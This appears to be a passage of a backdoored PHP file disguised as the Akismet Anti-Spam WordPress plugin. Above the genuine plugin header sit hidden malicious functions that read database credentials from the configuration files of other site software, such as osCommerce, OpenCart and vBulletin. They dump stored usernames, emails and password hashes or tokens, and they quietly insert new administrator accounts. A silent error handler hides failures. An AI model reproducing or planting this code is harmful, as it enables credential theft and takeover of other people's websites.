$result2 = $mysqli->query("SELECT name,mail,pass FROM ".$tbl_preffix."users");
$ErrorMsg = $mysqli->error;
if ($ErrorMsg)
{
$result2 = mysql_query ("SELECT name,mail,pass FROM ".$tbl_preffix."users_field_data") ;
}
if($result2)
{
while ($row = $result2->fetch_assoc())
{
$usrArray[] = $row["name"].":".$row["mail"].":".$row["pass"];
}
$mysqli->close();
return Array("url"=>$uri,"data"=>$usrArray) ;
}
}
}
}
function getOSCUserI($cont)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$db_preffix="";
$uri="";
preg_match_all('/(define\(\')([^\']+)(\',\s*\')([^\']+)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"DB_DATABASE"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_SERVER_USERNAME"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_SERVER_PASSWORD"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_SERVER"))
{$db_host=$matches[4][$i];}
elseif(stristr($matches[2][$i],"HTTP_SERVER"))
{$uri=$matches[4][$i];}
}
if(!empty($db_name))
{
$mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
if (!mysqli_connect_errno())
{
$ErrorMsg = "";
$result2 = $mysqli->query("SELECT user_name,user_password FROM administrators", $con_mss);
if($result2)
{
while ($row = $result2->fetch_assoc())
{
$usrArray[] = $row["user_name"].":".$row["user_password"];
}
$mysqli->close();
return Array("url"=>$uri,"data"=>$usrArray) ;
}
}
}
}
}
function setOSCUserI($cont,$u_name,$pass)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$db_preffix="";
$uri="";
preg_match_all('/(define\(\')([^\']+)(\',\s*\')([^\']+)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"DB_DATABASE"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_SERVER_USERNAME"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_SERVER_PASSWORD"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_SERVER"))
{$db_host=$matches[4][$i];}
elseif(stristr($matches[2][$i],"HTTP_SERVER"))
{$uri=$matches[4][$i];}
}
if(!empty($db_name))
{
$mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
if (!mysqli_connect_errno())
{
$result=$mysqli->query("SELECT user_name,user_password FROM administrators where user_name='$u_name' or user_password='$pass' ");
if($result->num_rows > 0)
{
$isExistUsr = false;
while($row = $result->fetch_assoc())
{
if($row["user_password"]==$pass)
{
$result->close();
$mysqli->close();
return Array("url"=>trim($uri),"user"=>$row["user_name"],"pass"=>$pass) ;
} else if($row["user_name"]==$u_name)
{
$isExistUsr = true;
}
}
if($isExistUsr)
{
$u_name = generate_password(6);
}
}
$insusrquery = $mysqli->query("INSERT INTO administrators (user_name,user_password) VALUES('$u_name','$pass') ");
if(!$insusrquery)
{
$err = $mysqli->error;
if(stristr($err,"duplicate"))
{
$u_name = generate_password(6);
$insusrquery = $mysqli->query("INSERT INTO administrators (user_name,user_password) VALUES('$u_name','$pass') ");
}
}
if($insusrquery)
{
return Array("url"=>$uri,"user"=>$u_name,"pass"=>$pass) ;
}
}
}
}
}
function getOPUserI($cont)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$db_preffix="";
$uri="";
preg_match_all('/(define\(\')([^\']+)(\',\s*\')([^\']+)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"DB_DATABASE"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_USERNAME"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_PASSWORD"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_HOSTNAME"))
{$db_host=$matches[4][$i];}
elseif(stristr($matches[2][$i],"HTTP_SERVER"))
{$uri=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_PREFIX"))
{$db_preffix=$matches[4][$i];}
}
if(!empty($db_name))
{
$mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
if (!mysqli_connect_errno())
{
$ErrorMsg = "";
$result2 = $mysqli->query("SELECT username,password,salt FROM ".$db_preffix."user");
if($result2)
{
while ($row = $result2->fetch_assoc())
{
$usrArray[] = $row["username"].":".$row["password"].":".$row["salt"];
}
$mysqli->close();
return Array("url"=>$uri,"data"=>$usrArray) ;
}
}
}
}
}
function setOPCUserI($cont,$u_name,$pass,$salt)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$db_preffix="";
$uri="";
preg_match_all('/(define\(\')([^\']+)(\',\s*\')([^\']+)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"DB_DATABASE"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_USERNAME"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_PASSWORD"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_HOSTNAME"))
{$db_host=$matches[4][$i];}
elseif(stristr($matches[2][$i],"HTTP_SERVER"))
{$uri=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_PREFIX"))
{$db_preffix=$matches[4][$i];}
}
if(!empty($db_name))
{
$mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
if (!mysqli_connect_errno())
{
$result=$mysqli->query("SELECT username,password,salt FROM ".$db_preffix."user where username='$u_name' or password='$pass' ");
if($result->num_rows > 0)
{
$isExistUsr = false;
while($row = $result->fetch_assoc())
{
if($row["password"]==$pass)
{
$result->close();
$mysqli->close();
return Array("url"=>trim($uri),"user"=>$row["username"],"pass"=>$pass,"pass"=>$row["salt"]) ;
} else if($row["username"]==$u_name)
{
$isExistUsr = true;
}
}
if($isExistUsr)
{
$u_name = generate_password(6);
}
}
$dateAdd =date_create()->format('Y-m-d H:i:s') ;
$insusrquery = $mysqli->query("INSERT INTO ".$db_preffix."user (user_group_id,username,password,salt,firstname,lastname,email,image,code,ip,status,date_added) VALUES('1','$u_name','$pass','$salt','$u_name','$u_name','$u_name@gmail.com','','','','1','$dateAdd') ");
if(!$insusrquery)
{
$err = $mysqli->error;
if(stristr($err,"duplicate"))
{
$u_name = generate_password(6);
$insusrquery = $mysqli->query("INSERT INTO ".$db_preffix."user (user_group_id,username,password,salt,firstname,lastname,email,image,code,ip,status,date_added) VALUES('1','$u_name','$pass','$salt','$u_name','$u_name','$u_name@gmail.com','','','','1','$dateAdd') ");
}
}
if($insusrquery)
{
return Array("url"=>$uri,"user"=>$u_name,"pass"=>$pass) ;
}
}
}
}
}
function getVBUserI($cont)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$uri="";
preg_match_all('/(\[\'\w+\'\]\s*\=\s*\')([^\']+)(\'\s*\;)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[1]);$i++)
{
if(stristr($matches[1][$i],"dbname"))
{$db_name=$matches[2][$i];}
elseif(stristr($matches[1][$i],"username"))
{$db_user=$matches[2][$i];}
elseif(stristr($matches[1][$i],"password"))
{$db_pass=$matches[2][$i];}
elseif(stristr($matches[1][$i],"servername"))
{$db_host=$matches[2][$i];}
elseif(stristr($matches[1][$i],"tableprefix"))
{$tbl_preffix=$matches[2][$i];}
elseif(stristr($matches[1][$i],"baseurl"))
{$uri=$matches[2][$i];}
}
if(!empty($db_name))
{
$mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
if (!mysqli_connect_errno())
{
$ErrorMsg = "";
$result2 = $mysqli->query("SELECT username,email,token FROM ".$tbl_preffix."user") ;
if($result2)
{
while ($row = $result2->fetch_assoc())
{
$usrArray[] = $row["username"].":".$row["email"].":".$row["token"];
}
$mysqli->close();
return Array("url"=>$uri,"data"=>$usrArray) ;
}
}
}
}
}
function setVBUserI($cont,$u_name,$pass,$secret)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$uri="";
preg_match_all('/(\[\'\w+\'\]\s*\=\s*\')([^\']+)(\'\s*\;)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[1]);$i++)
{
if(stristr($matches[1][$i],"dbname"))
{$db_name=$matches[2][$i];}
elseif(stristr($matches[1][$i],"username"))
{$db_user=$matches[2][$i];}
elseif(stristr($matches[1][$i],"password"))
{$db_pass=$matches[2][$i];}
elseif(stristr($matches[1][$i],"servername"))
{$db_host=$matches[2][$i];}
elseif(stristr($matches[1][$i],"tableprefix"))
{$tbl_preffix=$matches[2][$i];}
elseif(stristr($matches[1][$i],"baseurl"))
{$uri=$matches[2][$i];}
}
if(!empty($db_name))
{
$mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
if (!mysqli_connect_errno())
{
$result=$mysqli->query("SELECT userid,username,token FROM ".$tbl_preffix."user where username='$u_name' or token='$pass' ");
if($result->num_rows > 0)
{
$isExistUsr = false;
while($row = $result->fetch_assoc())
{
if($row["token"]==$pass)
{
$result->close();
$mysqli->close();
return Array("url"=>trim($uri),"user"=>$row["username"],"pass"=>$pass) ;
} else if($row["username"]==$u_name)
{
$isExistUsr = true;
}
}
if($isExistUsr)
{
$u_name = generate_password(6);
}
$result->close();
}
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."user (usergroupid,username,token,email,scheme,secret) VALUES('6','$u_name','$pass','$u_name@gmail.com','blowfish:10','$secret') ");
if(!$insusrquery)
{
$err = $mysqli->error;
if(stristr($err,"duplicate"))
{
$u_name = generate_password(6);
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."user (usergroupid,username,token,email,scheme,secret) VALUES('6','$u_name','$pass','$u_name@gmail.com','blowfish:10','$secret') ");
}
}
if($insusrquery)
{
return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
}
}
}
}
}
function ErrHandler($errno, $errstr, $errfile=null, $errline=null, array $errcontext=array())
{
return true;
}
/**
* @package Akismet
*/
/*
Plugin Name: Akismet Anti-Spam
Plugin URI: https://akismet.com/
Description: Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from spam</strong>. It keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key.
Version: 5.1
Requires at least: 5.0
Requires PHP: 5.2
Author: Automattic
Author URI: https://automattic.com/wordpress-plugins/
License: GPLv2 or later
Text Domain: akismet
*/
/*
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
Copyright 2005-2022 Automattic, Inc.
*/
// Make sure we don't expose any info if called directly
if ( !function_exists( 'add_action' ) ) {
echo 'Hi there! I\'m just a plugin, not much I can do when called directly.';
exit;
}
define( 'AKISMET_VERSION', '5.1' );
define( 'AKISMET__MINIMUM_WP_VERSION', '5.0' );
define( 'AKISMET__PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
define( 'AKISMET_DELETE_LIMIT', 10000 );
register_activation_hook( __FILE__, array( 'Akismet', 'plugin_activation' ) );
register_deactivation_hook( __FILE__, array( 'Akismet', 'plugin_deactivation' ) );
require_once( AKISMET__PLUGIN_DIR . 'class.akismet.php' );
require_once( AKISMET__PLUGIN_DIR . 'class.akismet-widget.php' );
require_once( AKISMET__PLUGIN_DIR . 'class.akismet-rest-api.php' );
add_action( 'init', array( 'Akismet', 'init' ) );
add_action( 'rest_api_init', array( 'Akismet_REST_API', 'init' ) );
if ( is_admin() || ( defined( 'WP_CLI' ) && WP_CLI ) ) {
require_once( AKISMET__PLUGIN_DIR . 'class.akismet-admin.php' );
add_action( 'init', array( 'Akismet_Admin', 'init' ) );
}
//add wrapper class around deprecated akismet functions that are referenced elsewhere
require_once( AKISMET__PLUGIN_DIR . 'wrapper.php' );
if ( defined( 'WP_CLI' ) && WP_CLI ) {
require_once( AKISMET__PLUGIN_DIR . 'class.akismet-cli.php' );
}